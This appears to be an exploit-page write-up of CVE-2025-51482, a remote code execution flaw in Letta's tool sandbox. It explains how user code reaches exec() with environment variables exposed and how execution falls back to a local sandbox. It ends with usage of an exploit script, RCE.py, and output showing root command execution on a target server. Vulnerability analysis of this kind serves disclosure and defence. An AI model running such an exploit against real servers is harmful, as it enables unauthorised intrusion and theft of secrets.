Letta-CVE-2025-51482-RCE

Vulnerability Cause Analysis

1. Lack of Code Security Inspection

Problem: The system does not perform any security inspection on user-provided source code.

Evidence:

• generate_execution_script method directly inserts user code into the execution script:

  root@kitploit:~

  code += "\n" + self.tool.source_code + "\n"
  

• No AST analysis to detect dangerous operations (e.g., os.system, subprocess.call, eval, etc.)

• No import restrictions or module whitelist

2. Unsafe Use of exec()

Problem: Direct use of exec() to execute user code, with the global dictionary containing environment variables.

Evidence:

globals_dict = *dict*(env) # Environment variables directly exposed to user code
exec(code_obj, globals_dict)

3. Exposure of Environment Variables

Problem: All environment variables are exposed to user code, including sensitive information.

Evidence:

env = os.environ.copy() # Copy all system environment variables
env_vars = self.sandbox_config_manager.get_sandbox_env_vars_as_dict(...)
env.update(env_vars) # Add sandbox environment variables

4. Sandbox Bypass Mechanism

Problem: The privileged_tools mechanism can be bypassed.

Evidence:

if tool_settings.e2b_api_key and not self.privileged_tools:
  # Use e2b sandbox (relatively safe)
else:
  # Use local sandbox (unsafe)

If the organization sets privileged_tools=True or does not configure an e2b API key, the system falls back to unsafe local execution.

5. Lack of Input Validation

Problem: No validation or sanitization is performed on user-supplied source code.

Evidence: The ToolRunFromSource mode accepts arbitrary strings as source code:

source_code: *str* = Field(..., *description*="The source code of the function.")

Exploitation (Python Script)

Example:
python RCE.py -u http://192.168.63.131:8283/
[+] Command executed successfully:
uid=0(root) gid=0(root) groups=0(root)
python RCE.py -u http://192.168.63.131:8283/ -c whoami
[+] Command executed successfully:
root